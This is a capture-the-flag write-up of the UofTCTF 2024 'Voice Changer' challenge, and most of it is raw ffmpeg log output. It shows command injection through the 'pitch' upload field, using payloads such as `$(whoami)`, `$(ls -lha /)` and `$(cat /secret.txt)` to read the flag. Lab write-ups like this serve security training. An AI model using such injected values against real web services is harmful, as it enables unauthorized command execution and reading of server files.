## Web/Voice Changer (206 solves)  
Created by: `Ido`  
> I made a cool app that changes your voice.

We are given a URL to a blank website with a simple voice recording platform.

![Main Page](https://seall.dev/images/ctfs/uoftctf2024/voicechanger.png)

When uploading and recording a voice message, we can also adjust the pitch.
Here is the upload request to the server:

```  
POST /upload HTTP/1.1  
Host: uoftctf-voice-changer.chals.io  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;
boundary=---------------------------203210044820429582851581787850  
Content-Length: 15823

\-----------------------------203210044820429582851581787850  
Content-Disposition: form-data; name="pitch"

1.52  
\-----------------------------203210044820429582851581787850  
Content-Disposition: form-data; name="input-file"; filename="recording.ogg"  
Content-Type: audio/ogg

OggS...  
\-----------------------------203210044820429582851581787850--  
```

Once uploaded we can see the `ffmpeg` logs given back:

```  
$ ffmpeg -i "/app/upload/35d2f080-b356-11ee-825a-89f99051da31.ogg" -y -af
"asetrate=44100*1.52,aresample=44100,atempo=1/1.52"
"/app/output/35d2f080-b356-11ee-825a-89f99051da31.ogg"  
```

We can see our pitch value in there as `1.52`, I immediately think of Command
Injection.

I change my value of pitch value to `$(whoami)` and we can see a result of
`myuser` in the ffmpeg log!

```  
$ ffmpeg -i \"/app/upload/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af
\"asetrate=44100*$(whoami),aresample=44100,atempo=1/$(whoami)\"
\"/app/output/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1
Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine
13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp
--disable-lzma --disable-static --disable-stripping --enable-avfilter
--enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-
libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-
libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame
--enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse
--enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-
libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-
libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265
--enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-
libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-
postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau
--enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-
libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60.
31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60.
3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 /
7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57.
3.100\nInput #0, matroska,webm, from '/app/upload/b6ff5450-b356-11ee-
bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start:
0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp
(default)\n[Parsed_asetrate_0 @ 0x7f22b1b3aec0] [Eval @ 0x7ffd4841fcb0]
Undefined constant or missing '(' in 'myuser'\n[Parsed_asetrate_0 @
0x7f22b1b3aec0] Unable to parse option value \"44100*myuser\"\nError applying
option 'sample_rate' to filter 'asetrate': Invalid
argument\n[aost#0:0/libvorbis @ 0x7f22b15da380] Error initializing a simple
filtergraph\nError opening output file /app/output/b6ff5450-b356-11ee-
bed6-0fc1d21dc1fb.ogg.\nError opening output files: Invalid argument\n  
```

After some probing I try `$(ls -lha /)` and find something of interest.

```  
$ ffmpeg -i \"/app/upload/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af
\"asetrate=44100*$(ls -lha /),aresample=44100,atempo=1/$(ls -lha /)\"
\"/app/output/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1
Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine
13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp
--disable-lzma --disable-static --disable-stripping --enable-avfilter
--enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-
libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-
libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame
--enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse
--enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-
libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-
libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265
--enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-
libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-
postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau
--enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-
libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60.
31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60.
3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 /
7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57.
3.100\nInput #0, matroska,webm, from '/app/upload/f8469a40-b356-11ee-
bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start:
0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp
(default)\n[AVFilterGraph @ 0x7f540765aec0] No option name near '31 .\ndrwxr-
xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31
.dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root
root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31
dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K
Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5
root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43
mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody
nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37
root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K
Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-
xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15
03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root
root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43
var'\n[AVFilterGraph @ 0x7f540765aec0] Error parsing a filter description
around: ,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1 root root 4.0K Jan
15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root
root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35
app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360
Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1
root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25
lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root
4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x
414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11
18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root
root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31
secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody
nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37
tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K
Dec 7 09:43 var\n[AVFilterGraph @ 0x7f540765aec0] Error parsing filterchain
'asetrate=44100*total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-
xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31
.dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root
root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31
dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K
Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5
root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43
mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody
nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37
root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K
Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-
xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15
03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root
root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43
var,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15
03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0
Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-
xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15
03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root
root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25
lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root
4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x
414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11
18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root
root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31
secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody
nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37
tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K
Dec 7 09:43 var' around: ,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1
root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31
..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root
4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-
xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15
03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root
root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43
media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root
4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31
proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root
4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-
xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7
09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root
root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25
usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var\n[aost#0:0/libvorbis @
0x7f5407a16380] Error initializing a simple filtergraph\nError opening output
file /app/output/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg.\nError opening
output files: Invalid argument\n  
```

Inside the block of text you can see `secret.txt`.

I try reading the flag with `$(cat /secret.txt)`...

```  
$ ffmpeg -i \"/app/upload/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af
\"asetrate=44100*$(cat /secret.txt),aresample=44100,atempo=1/$(cat
/secret.txt)\" \"/app/output/25767170-b357-11ee-
bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1 Copyright (c) 2000-2023 the
FFmpeg developers\n built with gcc 13.2.1 (Alpine 13.2.1_git20231014)
20231014\n configuration: --prefix=/usr --disable-librtmp --disable-lzma
--disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-
ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d
--enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-
libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt
--enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e
--enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-
libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-
libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb
--enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-
lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc
--enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-
version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1
--enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60. 31.102 /
60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60. 3.100 / 60.
3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 / 7. 5.100\n
libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57. 3.100\nInput
#0, matroska,webm, from '/app/upload/25767170-b357-11ee-
bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start:
0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp
(default)\n[Parsed_asetrate_0 @ 0x7f09addf2ec0] [Eval @ 0x7ffc67764920]
Undefined constant or missing '(' in
'uoftctf{Y0URPitchIS70OH!9H}'\n[Parsed_asetrate_0 @ 0x7f09addf2ec0] Unable to
parse option value \"44100*uoftctf{Y0UR Pitch IS 70O H!9H}\"\nError applying
option 'sample_rate' to filter 'asetrate': Invalid
argument\n[aost#0:0/libvorbis @ 0x7f09ad892380] Error initializing a simple
filtergraph\nError opening output file /app/output/25767170-b357-11ee-
bed6-0fc1d21dc1fb.ogg.\nError opening output files: Invalid argument\n  
```

Which gives us the flag (somewhere in there)!

Flag: `uoftctf{Y0URPitchIS70OH!9H}`

**Files:** None provided :(

Original writeup (https://seall.dev/posts/uoftctf2024#webvoice-
changer-206-solves).